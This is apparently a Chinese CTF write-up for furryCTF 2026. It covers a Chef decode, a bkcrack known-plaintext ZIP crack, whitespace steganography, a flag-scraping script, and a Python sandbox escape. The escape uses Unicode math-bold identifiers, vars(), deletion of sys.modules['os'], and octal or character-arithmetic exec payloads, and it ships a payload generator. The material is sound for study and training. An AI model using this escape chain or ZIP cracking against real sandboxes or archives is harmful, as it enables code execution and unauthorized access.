2026.1.30 furryCTF
2026-08-22 20:22:59

Misc-CyberChef

📎 相关:
| 3.编码分析
| 2.音视频隐写
| 4.1已知明文攻击(bkcrack)

chef语言

https://tio.run/#chef

20260130furryCTF-01

base64解码获得flag

furryCTF{I_Wou1d_L1ke_S0me_Colon9l_Nugge7s_On_Cra7y_Thursd5y_VIVO_5O_AWA}

Misc-余音藏秘

QSSTV获得一张二维码

扫描后获得U2FsdGVkX1/RxNkd2IGdQJ/tLDwU+2qkasEwAENOgBw=

现在还没弄出来

Misc-学习资料

20260130furryCTF-02

构造文件头最方便的方法就是自己创建一个.docx文件 然后把固定的文件头摘录下来

504B03040A0000000000874EE24000000000000000000000000009000000646F6350726F70732F504B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Microsoft Windows [版本 10.0.26200.7623]
(c) Microsoft Corporation。保留所有权利。

C:\Users\13964>cd C:\Users\13964\Desktop\Misc\bkcrack

C:\Users\13964\Desktop\Misc\bkcrack>bkcrack.exe -C flag.zip -c flag.docx -x 0 504B03040A0000000000874EE24000000000000000000000000009000000646F6350726F70732F504B
bkcrack 1.7.0 - 2024-05-26
[15:35:45] Z reduction using 34 bytes of known plaintext
100.0 % (34 / 34)
[15:35:46] Attack on 250815 Z values at index 6
Keys: dc5f5a25 ba003c16 064c2967
82.9 % (207982 / 250815)
Found a solution. Stopping.
You may resume the attack with the option: --continue-attack 207982
[15:37:23] Keys
dc5f5a25 ba003c16 064c2967

C:\Users\13964\Desktop\Misc\bkcrack>bkcrack.exe -C flag.zip -c flag.docx -k dc5f5a25 ba003c16 064c2967 -d decrypted.docx
bkcrack 1.7.0 - 2024-05-26
[15:38:17] Writing deciphered data decrypted.docx
Wrote deciphered data (not compressed).

C:\Users\13964\Desktop\Misc\bkcrack>

furryCTF{Ho0w_D1d_You_C0mE_H9re_xwx}

Misc-AA哥的JAVA

20260130furryCTF-03

vscode打开后看到很多箭头 sublime text打开

20260130furryCTF-04

在wps>文件>选项>把制表符 空格勾出来

把空格替换为0 制表符替换为1

注意每行开头的空格是回车 不需要提取

1
01110000011011110110011001110000011110110100100001110101010000010110110100110001010111110111010001110010011101010011000101111001010111110110001100110100011011100110111000110000011101000101111101101101001101000110101101100101010111110111001101100101011011100111001101100101010111110011000001100110010111110100101000110100011101100011010001111101

20260130furryCTF-05

pofp{HuAm1_tru1y_c4nn0t_m4ke_sense_0f_J4v4}

PPC-flagReader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import time
from binascii import unhexlify

BASE_URL = "http://ctf.furryctf.com:33126/api/flag/char/"

all_chars = []

for i in range(1, 481):
url = f"{BASE_URL}{i}"
try:
response = requests.get(url, timeout=10)
if response.status_code == 200:
data = response.json()
if data.get("status") == "success":
char = data["char"]
all_chars.append(char)
print(f"[{i}/480] Got: {char}")
else:
print(f"[{i}] API error: {data.get('error', 'Unknown')}")
all_chars.append('?')
else:
print(f"[{i}] HTTP {response.status_code}")
all_chars.append('?')
except Exception as e:
print(f"[{i}] Error: {e}")
all_chars.append('?')

time.sleep(0.1) # 礼貌延迟

# 拼接
hex_str = ''.join(all_chars)
print("\n[+] Collected hex string length:", len(hex_str))

# 确保偶数长度
if len(hex_str) % 2 != 0:
hex_str = hex_str[:-1]

# 两次 Base16 解码
try:
first = unhexlify(hex_str)
second = unhexlify(first.decode('utf-8'))
flag = second.decode('utf-8')
print("\n🎉 FLAG:", flag)
except Exception as e:
print("[-] Decode failed:", e)
print("First decode (hex):", first.hex() if 'first' in locals() else "N/A")

🎉 FLAG: furryCTF{21ec42bf-d921-4b81-9be2-c4160c68c2cc-90321437-cb37-45d5-9cf4-0ae9abebcbe0-dccb8de2-2cb9-45a4-906a-7b6be4fcbfbf}

Misc-困兽之斗

nc 一下看提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~]
└─$ nc ctf.furryctf.com 32961

?__?
/ \
|•ᴥ•|
| 0101 |
|H4CK3R|
\____/

Well,I just banned letters,digits, '.' and ','
And also banned getattr() and help() by replacing it
And I banned os,subprocess module by pre-load it as strings
Just give up~
Or you still wanna try?

沙箱禁了字母/数字/点号/逗号,getattr() 和 help() 被替换成空函数,os/subprocess 预加载成字符串,就是不让你写正常 Python。目标就一个:绕过限制跑 cat flag。

绕过链:Unicode 数学粗体过字母 → vars() 过点号 → 删 sys.modules 解封 os → exec() 多行 → 八进制+字符运算绕数字。

字母:Unicode 数学粗体

Python 解析代码时会把数学粗体自动转回 ASCII,所以 𝐞𝐱𝐞𝐜 就是 exec,不算字母。写个脚本批量转:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def bold_text(text):
"""将 ASCII 字母转换为 Unicode 数学粗体形式"""
result = []
for char in text:
if 'A' <= char <= 'Z':
bold_char = chr(ord(char) + 0x1D400 - ord('A'))
result.append(bold_char)
elif 'a' <= char <= 'z':
bold_char = chr(ord(char) + 0x1D41A - ord('a'))
result.append(bold_char)
else:
result.append(char)
return ''.join(result)

if __name__ == "__main__":
user_input = input("请输入要加粗的文本: ")
print("\n转换结果:")
print(bold_text(user_input))

20260130furryCTF-06

eg:

  • exec → 𝐞𝐱𝐞𝐜
  • chr → 𝐜𝐡𝐫
  • ord → 𝐨𝐫𝐝
  • vars → 𝐯𝐚𝐫𝐬

点号:vars()

点号被禁就用 vars() 拿 __dict__ 再按字典取值调:

1
2
3
4
5
# 传统方式(被禁用)
os.system('cat flag')

# 绕过方式
vars(os)['system']('cat flag')

os:删 sys.modules

题目把 sys.modules['os'] 预加载成了字符串,import 时直接返回缓存不会真导。删掉再 import:

1
2
3
4
5
# 删除伪造的模块
del modules['os']

# 重新导入真正的 os 模块
__import__('os')

多行:exec()

eval() 只能跑单个表达式,逗号被禁也用不了海象运算符,这种删模块+导模块+执行命令的多步操作得用 exec():

1
exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")

数字:八进制 + 字符运算

数字被禁不能直接写字符串,两种绕法:

八进制转义:

1
2
# 'd' 的 ASCII 码是 100,八进制是 \144
"\144" # 等价于 'd'

字符运算:用重音字符做减法,’ō’ 是 333,’é’ 是 233,差 100 正好是 ‘d’:

1
2
# 'd' 的 ASCII 码是 100
chr(ord('ō') - ord('é')) # 'ō' 是 333,'é' 是 233,差值是 100

坑:为什么用减法不用加法?加法容易加出 ASCII 字母,会被检测。

exp

第一阶段:全转八进制。坑:换行符 \n 的八进制是 \12(不是 \1\2):

1
2
3
4
5
# 原始命令
exec("del modules['os']\nvars(__import__('os'))['system']('cat flag')")

# 转换为八进制(绕过字母和数字)
𝐞𝐱𝐞𝐜("\144\145\154\40\155\157\144\165\154\145\163['\157\163']\12\166\141\162\163(__\151\155\160\157\162\164__('\157\163'))['\163\171\163\164\145\155']('\143\141\164\40\146\154\141\147')")

第二阶段:把数字也换成字符运算,完全绕数字:

1
𝐞𝐱𝐞𝐜(𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('é'))+𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('è'))+...)

生成脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# gen_payload_full_unicode.py

def to_math_bold(s):
"""将 ASCII 字母转为 Unicode 数学粗体"""
res = []
for c in s:
if 'A' <= c <= 'Z':
res.append(chr(ord(c) - ord('A') + 0x1D400))
elif 'a' <= c <= 'z':
res.append(chr(ord(c) - ord('a') + 0x1D41A))
else:
res.append(c)
return ''.join(res)

def char_to_expr(c):
"""
将单个字符 c 转换为 chr(ord('ō') - ord(X)) 形式
其中 X = chr(333 - ord(c))
"""
code = ord(c)
base_char = chr(333 - code) # 因为 ord('ō') = 333
# 返回字符串形式:chr(ord('ō')-ord('X'))
return f"𝐜𝐡𝐫(𝐨𝐫𝐝('ō')-𝐨𝐫𝐝('{base_char}'))"

def str_to_char_expr(s):
"""将整个字符串转为字符运算拼接表达式"""
parts = [char_to_expr(c) for c in s]
# 用 '+' 连接(注意:不能用逗号!)
return '+'.join(parts)

# 原始 payload 内容
payload_code = '''del modules['os']
vars(__import__('os'))['system']('cat flag')'''

# 步骤 1: 将 payload_code 转为字符运算表达式
expr = str_to_char_expr(payload_code)

# 步骤 2: 构造 exec( ... ) 调用
exec_call = f"𝐞𝐱𝐞𝐜({expr})"

print("=== Final Payload (Full Unicode Char Arithmetic) ===")
print(exec_call)
print("\n=== Length:", len(exec_call), "characters ===")

20260130furryCTF-07

furryCTF{b37bc8c8a3fe_jUSt_RUN_0Ut_Fr0M_thE_sand60x_WiTH_unIC0De}

Web-PyEditor

20260130furryCTF-08

上一页
2026-08-22 20:22:59
下一页